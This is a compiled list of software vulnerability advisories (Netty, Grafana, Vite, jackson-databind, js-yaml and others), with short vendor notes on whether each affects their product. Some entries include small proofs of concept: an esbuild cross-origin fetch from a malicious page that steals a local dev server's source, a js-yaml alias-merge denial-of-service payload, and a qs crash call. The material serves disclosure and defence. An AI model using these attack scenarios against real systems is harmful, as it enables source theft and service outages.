Netty is a network application framework for development of protocol servers and clients. In netty-codec-redis prior to versions 4.1.135.Final and 4.2.15.Final, an attacker can cause DoS by sending crafted Redis payloads across multiple connections without `\r\n`. This exhausts the server's direct memory pool (OutOfDirectMemoryError), preventing legitimate connections from being processed. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Hostname verification in Apache ZooKeeper ZKTrustManager falls back to reverse DNS (PTR) when IP SAN validation fails, allowing attackers who control or spoof PTR records to impersonate ZooKeeper servers or clients with a valid certificate for the PTR name. It's important to note that attacker must present a certificate which is trusted by ZKTrustManager which makes the attack vector harder to exploit. Users are recommended to upgrade to version 3.8.6 or 3.9.5, which fixes this issue by introducing a new configuration option to disable reverse DNS lookup in client and quorum protocols.

Code not used

The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Versions on the 2.x branch prior to 2.15.0 and the 3.x branch prior to 3.0.10 leak `Cookie` headers to cross-origin redirect targets. When following a redirect to a different origin, the `propagatedHeaders()` method in `Redirect30xInterceptor.java` strips `Authorization` and `Proxy-Authorization` headers but does not strip the `Cookie` header, causing session cookies and other sensitive cookie values to be sent to attacker-controlled servers. Versions 2.15.0 and 3.0.10 patch the issue.

When using an IPv6 allow-list for the Auth Proxy feature, it defaults to /32 addresses. Addresses specifying a mask explicitly are not affected; to mitigate easily, add the desired mask (usually /128) to the addresses. Only auth proxy is affected; Okta, SAML, LDAP, etc are unaffected here.

Improper Authentication in Elasticsearch PKI realm can lead to user impersonation via specially crafted client certificates. A malicious actor would need to have such a crafted client certificate signed by a legitimate, trusted Certificate Authority.

Missing critical step in authentication in Apache HttpClient 5.6 allows an attacker to cause the client to accept SCRAM-SHA-256 authentication without proper mutual authentication verification. Users are recommended to upgrade to version 5.6.1, which fixes this issue.

An Editor can overwrite a dashboard not owned by them to acquire admin on that specific dashboard. The user must have write access to the dashboard to escalate privilege.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\r\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. When redirect following is enabled (followRedirect(true)), versions of AsyncHttpClient prior to 3.0.9 and 2.14.5 forward Authorization and Proxy-Authorization headers along with Realm credentials to arbitrary redirect targets regardless of domain, scheme, or port changes. This leaks credentials on cross-domain redirects and HTTPS-to-HTTP downgrades. Additionally, even when stripAuthorizationOnRedirect is set to true, the Realm object containing plaintext credentials is still propagated to the redirect request, causing credential re-generation for Basic and Digest authentication schemes via NettyRequestFactory. An attacker who controls a redirect target (via open redirect, DNS rebinding, or MITM on HTTP) can capture Bearer tokens, Basic auth credentials, or any other Authorization header value. The fix in versions 3.0.9 and 2.14.5 automatically strips Authorization and Proxy-Authorization headers and clears Realm credentials whenever a redirect crosses origin boundaries (different scheme, host, or port) or downgrades from HTTPS to HTTP. For users unable to upgrade, set `(stripAuthorizationOnRedirect(true))` in the client config and avoid using Realm-based authentication with redirect following enabled. Note that `(stripAuthorizationOnRedirect(true))` alone is insufficient on versions prior to 3.0.9 and 2.14.5 because the Realm bypass still re-generates credentials. Alternatively, disable redirect following (`followRedirect(false)`) and handle redirects manually with origin validation.

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack). Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Prototype pollution attack when using _.zipObjectDeep in lodash before 4.17.20.

Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow a low-privileged authenticated user to cause Excessive Allocation (CAPEC-130) causing a persistent denial of service (OOM crash) via submission of oversized user settings data.

This particular usage of ElasticSearch is not used in BlueMind.

The Grafana MSSQL data source plugin contains a logic flaw that allows a low-privileged user (Viewer) to bypass API restrictions and trigger a catastrophic Out-Of-Memory (OOM) memory exhaustion, crashing the host container.

In Grafana's alerting system, users with edit permissions for a contact point, specifically the permissions “alert.notifications:write” or “alert.notifications.receivers:test” that are granted as part of the fixed role "Contact Point Writer", which is part of the basic role Editor - can edit contact points created by other users, modify the endpoint URL to a controlled server. By invoking the test functionality, attackers can capture and extract redacted secure settings, such as authentication credentials for third-party services (e.g., Slack tokens). This leads to unauthorized access and potential compromise of external integrations.

A race condition in Grafana Live allows authenticated users with Viewer role to trigger a server crash by sending concurrent requests that cause a fatal map access error. This results in complete service unavailability requiring restart of the Grafana server.

Any Editor could delete any snapshot, even if they have no access to read or write them.

A request to the Grafana plugin resources endpoint can cause unbounded memory allocation by reading the entire request body into memory. An authenticated user can exploit this to trigger an out-of-memory condition, potentially causing a denial of service.

The Grafana Live push endpoint can be exploited to cause unbounded memory allocation by sending a large or streaming request body, potentially leading to out-of-memory conditions. An authenticated user with access to the Grafana Live API can trigger this issue.

Using the $__timeGroup macro, one can achieve an OOM by overloading the server. This requires a SQL datasource. If the server is set up to auto-restart, the impact is minimal or non-existent, as the attack can take upwards of half an hour to crash the server.

Vite is a frontend tooling framework for javascript. Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections. This vulnerability is fixed in 6.0.9, 5.4.12, and 4.5.6.

Library only used on build servers. Code not present on production servers.

webpack-dev-server versions up to and including 5.2.3 are vulnerable to cross-origin source code exposure when serving over a non-potentially trustworthy origin such as plain HTTP. The previous fix relied on the Sec-Fetch-Mode and Sec-Fetch-Site request headers, which browsers omit for non-trustworthy origins, allowing a malicious site to load the bundled source as a script and read it across origins. Impact: an attacker controlling a website visited by a developer running webpack-dev-server can recover the application source code when the dev server runs over HTTP at a guessable host and port. Chromium based browsers from Chrome 142 onward are not affected due to local network access restrictions. Upgrade to webpack-dev-server 5.2.4 or later, which sets Cross-Origin-Resource-Policy: same-origin on responses.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.

Library only used on build servers. Code not present on production servers.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

A flaw was discovered in Elasticsearch, where a large recursion using the innerForbidCircularReferences function of the PatternBank class could cause the Elasticsearch node to crash. A successful attack requires a malicious user to have read_pipeline Elasticsearch cluster privilege assigned to them.

A vulnerability in SQL Expressions allows an authenticated attacker to read arbitrary files from the Grafana server's filesystem. Only instances with the sqlExpressions feature toggle enabled are vulnerable.

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.21.0 until 2.21.4 and 3.1.4, UnwrappedPropertyHandler.processUnwrappedCreatorProperties() replays buffered JSON into creator parameters but never consults prop.visibleInView(activeView). The normal property-based creator path gates creator properties on the active view, but this unwrapped-creator replay path bypasses that check, so a constructor parameter annotated with both @JsonView(AdminView.class) and @JsonUnwrapped is populated from attacker JSON even when a more restrictive view is active. This vulnerability is fixed in 2.21.4 and 3.1.4.

All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.

Library used only for development purpose and not included on production code

PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Stack traces in Grafana's Explore Traces view can be rendered as raw HTML, and thus inject malicious JavaScript in the browser. This would require malicious JavaScript to be entered into the stack trace field. Only datasources with the Jaeger HTTP API appear to be affected; Jaeger gRPC and Tempo do not appear affected whatsoever.

Junrar is an open source java RAR archive library. Prior to version 7.5.8, a backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). Version 7.5.8 has a fix for the issue.

Fixed in version 5.5.8 of BlueMind.

webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when they access a malicious web site. Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject a malicious script in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. Version 5.2.1 contains a patch for the issue.

Library only used on build servers. Code not present on production servers.

Insertion of sensitive information in log file in Elasticsearch can lead to loss of confidentiality under specific preconditions when auditing requests to the reindex API https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-reindex

BlueMind does not send sensible information in ElasticSearch

Vite is a frontend tooling framework for javascript. Prior to versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14, the contents of files in the project root that are denied by a file matching pattern can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed. `server.fs.deny` can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass for files under `root` by using a combination of slash and dot (/.). This issue has been patched in versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14.

Library only used on build servers. Code not present on production servers.

Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests, leading to HTTP request smuggling or desynchronization on the HTTP side and request injection on the RTSP side. This issue is fixed in versions 4.2.13.Final and 4.1.133.Final.

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.8.0 until 2.18.9, 2.21.5, and 3.1.4, in BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again. This vulnerability is fixed in 2.18.9, 2.21.5, and 3.1.4.

A TCP client can perform a TLS handshake and present the server name extension with a server name that is accepted by a server wildcard name, e.g. if the server is configured with a certificate accepting *.example.com, any XYZ.example.com where xyz is a valid name can be used.

Fixed in BlueMind v5.5.8 and v5.4.11

Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, files starting with the same name with the public directory were served bypassing the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or `server.host` config option), use the public directory feature (enabled by default), and have a symlink in the public directory are affected. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.

Dev server is not activated on production environnement

Vite is a frontend tooling framework for JavaScript. From 6.0.0 to before 6.4.2, 7.3.2, and 8.0.5, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON. This vulnerability is fixed in 6.4.2, 7.3.2, and 8.0.5.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the `server.fs` settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use `appType: 'spa'` (default) or `appType: 'mpa'` are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.

Dev server is not activated on production environnement

Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. This vulnerability is fixed in 4.5.12, 5.4.17, 6.0.14, 6.1.4, and 6.2.5.

Library only used on build servers. Code not present on production servers.

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, DefaultHttp2Connection.DefaultEndpoint initialises maxActiveStreams/maxStreams to Integer.MAX_VALUE, and Http2Settings never inserts SETTINGS_MAX_CONCURRENT_STREAMS by default (Http2Settings.java:305-307 only clamps a user-supplied value). Unless the application explicitly calls initialSettings().maxConcurrentStreams(n), a Netty HTTP/2 server advertises no limit and enforces none locally. Each open stream allocates a DefaultStream object, PropertyMap slots, flow-controller state and IntObjectHashMap entry; with ~2^30 permissible odd stream IDs a single TCP connection can create hundreds of thousands of long-lived stream objects. This is also the precondition for CVE-2023-44487-style Rapid-Reset amplification, where the absence of a low concurrent cap multiplies backend work. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

### Summary `qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`). ### Details In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining: ```js obj = utils.maybeMap(obj, encoder); ``` `utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run. Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1. #### PoC ```js const qs = require('qs'); qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true }); // TypeError: Cannot read properties of null (reading 'length') // at encode (lib/utils.js:195:13) // at Object.maybeMap (lib/utils.js:322:37) // at stringify (lib/stringify.js:145:25) ``` #### Fix `lib/stringify.js:145`, applied in 21f80b3 on `main` and released as v6.15.2: ```diff - obj = utils.maybeMap(obj, encoder); + obj = utils.maybeMap(obj, function (v) { + return v == null ? v : encoder(v); + }); ``` `null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop. ### Affected versions `>=6.11.1 <6.15.2` — fixed in v6.15.2. The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions. ### Impact Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled. The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

An issue was discovered in PostCSS before 8.4.31. The vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being included in a comment.

Library used only for development purpose and not included on production code

Picomatch is a glob matcher written JavaScript. Versions prior to 4.0.4, 3.0.2, and 2.3.2 are vulnerable to a method injection vulnerability affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression. This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control. All users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted. This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch. Possible mitigations include sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`; avoiding the use of POSIX bracket expressions if user input is involved; and manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype.

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Integer Overflow vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions. This issue has been patched in version 1.3.2.

opentelemetry-java is the Java implementation of the OpenTelemetry API for recording telemetry, and SDK for managing telemetry recorded by the API. Prior to 1.62.0, a vulnerability affects the baggage propagation implementation in opentelemetry-api and opentelemetry-extension-trace-propagators. Parsing oversized baggage causes unbounded memory allocation and CPU consumption. Because baggage is automatically re-injected into every outgoing request, the effect can fan out to downstream services that never received the original malicious request. This vulnerability is fixed in 1.62.0.

Impact: Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for (CVE-2025-13465: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype. The issue permits deletion of prototype properties but does not allow overwriting their original behavior. Patches: This issue is patched in 4.18.0. Workarounds: None. Upgrade to the patched version.

Code not affected

Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the _.unset and _.omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes. The issue permits deletion of properties but does not allow overwriting their original behavior. This issue is patched on 4.17.23

js-yaml is a JavaScript YAML parser and dumper. In js-yaml before 4.1.1 and 3.14.2, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted. The problem is patched in js-yaml 4.1.1 and 3.14.2. Users can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because "else if" is not used.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

### Summary esbuild allows any websites to send any request to the development server and read the response due to default CORS settings. ### Details esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response. https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363 **Attack scenario**: 1. The attacker serves a malicious web page (`http://malicious.example.com`). 1. The user accesses the malicious web page. 1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above. 1. The attacker gets the content of `http://127.0.0.1:8000/main.js`. In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by - Fetching `/index.html`: normally you have a script tag here - Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files - Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`) - Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18561484/reproduction.zip) 2. Extract it and move to that directory 1. Run `npm i` 1. Run `npm run watch` 1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.  ### Impact Users using the serve feature may get the source code stolen by malicious websites.

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.21.0 until 2.21.4 and 3.1.4, in BeanDeserializer._deserializeUsingPropertyBased, the active-view (@JsonView) filter was applied only to creator properties; the regular property-buffering branch performed no prop.visibleInView(activeView) check. A change making SetterlessProperty.isMerging() return true routed setterless Collection/Map properties through this unguarded path, so a setterless collection annotated with a restricted @JsonView is populated from attacker JSON even when the active view excludes it. This vulnerability is fixed in 2.21.4 and 3.1.4.

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, before reading the first request-line, `HttpObjectDecoder` skips every byte for which `Character.isISOControl(b)` is `true` (0x00–0x1F and 0x7F) as well as all whitespace. RFC 9112 §2.2 only asks servers to ignore empty CRLF lines preceding the request-line — a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds. Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes significantly beyond this, and can be exploited for request-boundary confusion in pipelined or multiplexed transports where a front-end component treats those bytes differently. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

### Summary A crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`<<`) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. ### Details The issue is in merge handling inside `lib/loader.js`: - `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`. - For each element, it calls `mergeMappings(...)`. - `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key. When input is of the form: a: &a {k0:0, k1:0, ..., kK:0} b: {<<: [*a, *a, *a, ... repeated M times ...]} all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time. Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows. Relevant code path: lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge') lib/loader.js mergeMappings(...) ### Root cause File: lib/loader.js Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode, valueNode, startLine, startLineStart, startPos) Lines: ~359-366 if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { mergeMappings(state, _result, valueNode[index], overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } } When the merge value is a sequence (YAML 1.1 <<: [ *a, *a, ... ]), each element is handed to mergeMappings() without deduplication. mergeMappings() then does sourceKeys = Object.keys(source); for (index = 0; index < sourceKeys.length; index += 1) { key = sourceKeys[index]; if (!_hasOwnProperty.call(destination, key)) { setProperty(destination, key, source[key]); overridableKeys[key] = true; } } Every alias reference in the sequence resolves (by design) to the SAME object via state.anchorMap. After the first merge, every subsequent merge of that same reference is a pure no-op semantically, but still performs: * one Object.keys(source) call (O(K)) * K _hasOwnProperty.call checks on the destination Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final object and all observable side effects are identical to a single merge. YAML semantics for `<<:` are idempotent and commutative over duplicate sources, so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off. ### PoC Environment: js-yaml version: 4.1.1 Node.js: v24.5.0 Platform: arm64 macOS (reproduced consistently) Reproduction script: Create many keys in one anchored map (&a). Merge that same alias repeatedly via <<: [*a, *a, ...]. Measure parse time and compare with control payload using single merge (<<: *a). Observed repeated runs (same machine): K=M=1000, input 9,909 bytes: ~33–36 ms K=M=2000, input 20,909 bytes: ~121–123 ms K=M=4000, input 42,909 bytes: ~524–537 ms K=M=6000, input 64,909 bytes: ~1,608–1,829 ms K=M=8000, input 86,909 bytes: ~3,395–3,565 ms Control (single merge, similar key counts): K=2000: ~1–2 ms K=4000: ~3 ms K=8000: ~5 ms Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation. ### Impact This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity). Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability. ### Suggested fix: Dedupe the merge source list by reference before invoking mergeMappings. Any of the following are minimal and preserve YAML 1.1 merge semantics: dedupe in storeMappingPair: if (keyTag === 'tag:yaml.org,2002:merge') { if (Array.isArray(valueNode)) { var seen = new Set(); for (index = 0, quantity = valueNode.length; index < quantity; index += 1) { var src = valueNode[index]; if (seen.has(src)) continue; // idempotent; skip redundant alias seen.add(src); mergeMappings(state, _result, src, overridableKeys); } } else { mergeMappings(state, _result, valueNode, overridableKeys); } }

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty HTTP/2 max header size handling produces an attack similar to HTTP/2 Rapid Reset. There is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. When a client sends that setting to Netty, it appears that Netty will behave as follows: read the request; proxy the request to the origin; attempt to produce a response; and create an exception while writing the headers for the response. Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Information exposure vulnerability has been identified in Apache Kafka. The NetworkClient component will output entire requests and responses information in the DEBUG log level in the logs. By default, the log level is set to INFO level. If the DEBUG level is enabled, the sensitive information will be exposed via the requests and responses output log. The entire lists of impacted requests and responses are: * AlterConfigsRequest * AlterUserScramCredentialsRequest * ExpireDelegationTokenRequest * IncrementalAlterConfigsRequest * RenewDelegationTokenRequest * SaslAuthenticateRequest * createDelegationTokenResponse * describeDelegationTokenResponse * SaslAuthenticateResponse This issue affects Apache Kafka: from any version supported the listed API above through v3.9.1, v4.0.0. We advise the Kafka users to upgrade to v3.9.2, v4.0.1, or later to avoid this vulnerability.

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.21.0 until 2.21.4 and 3.1.4, POJOPropertiesCollector._renameProperties() allows a property with @JsonProperty("renamed") on the getter and @JsonIgnore on the setter to be renamed rather than dropped. With MapperFeature.INFER_PROPERTY_MUTATORS enabled (default), the private backing field is retained; during deserialization BeanDeserializerFactory.addBeanProps() sees hasField()==true, builds a FieldProperty, and makes the backing field writable. An attacker supplying the renamed JSON key writes the backing field directly, bypassing the @JsonIgnore on the setter. This vulnerability is fixed in 3.1.4.

Public dashboards with annotations enabled did not limit their annotation timerange to the locked timerange of the public dashboard. This means one could read the entire history of annotations visible on the specific dashboard, even those outside the locked timerange. This did not leak any annotations that would not otherwise be visible on the public dashboard.

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.0.0 until 2.18.8, 2.21.4, and 3.1.4, JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.

Uncontrolled Recursion vulnerability in Apache Commons Lang. This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. Users are recommended to upgrade to version 3.18.0, which fixes the issue.

The package hosted-git-info before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.

Library used only for development purpose and not included on production code

